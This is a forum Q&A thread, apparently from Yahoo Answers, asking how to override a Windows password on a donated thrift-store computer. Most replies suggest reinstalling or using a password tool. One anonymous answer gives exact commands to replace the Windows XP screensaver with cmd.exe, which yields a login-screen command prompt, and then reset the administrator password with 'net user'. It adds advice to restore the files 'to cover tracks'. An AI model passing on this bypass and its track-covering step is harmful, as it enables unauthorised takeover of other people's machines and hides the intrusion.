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does any one know how to overide a windows password?

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not a hacker computer was donated to thrift store and we are trying to sell thank you dont answer if you dont have anything positive to say

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  • NIKK F
    Lv 4
    1 decade ago
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    re install windows. Your computer should have come with a reboot disc. However this method will destroy every thing you have saved on your hard drive. It will work but you will loose everything you have saved.

  • Anonymous
    1 decade ago

    do you mean overide the administrator password? Then Yes I do.

    If you log into a limited account on your target machine and open up a dos prompt

    then enter this set of commands Exactly:

    cd\ *drops to root

    cd\windows\system32 *directs to the system32 dir

    mkdir temphack *creates the folder temphack

    copy logon.scr temphack\logon.scr *backsup logon.scr

    copy cmd.exe temphack\cmd.exe *backsup cmd.exe

    del logon.scr *deletes original logon.scr

    rename cmd.exe logon.scr *renames cmd.exe to logon.scr

    exit *quits dos

    Now what you have just done is told the computer to backup the command program

    and the screen saver file, then edits the settings so when the machine boots the

    screen saver you will get an unprotected dos prompt with out logging into XP.

    Once this happens if you enter this command minus the quotes

    "net user <admin account name here> password"

    If the Administrator Account is called Frank and you want the password blah enter this

    "net user Frank blah"

    and this changes the password on franks machine to blah and your in.

    Have fun

    p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

  • vulcan
    Lv 7
    1 decade ago

    Yes but it would be really really nice to know which version of windows

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  • 1 decade ago

    you're a hacker, and get a frickin mac!

  • 1 decade ago

    search for ophcrack and read up to see if you want to use it

  • Anonymous
    1 decade ago

    by knowign the password

  • Anonymous
    1 decade ago

    haha yes but im not telling you cause that's illegal

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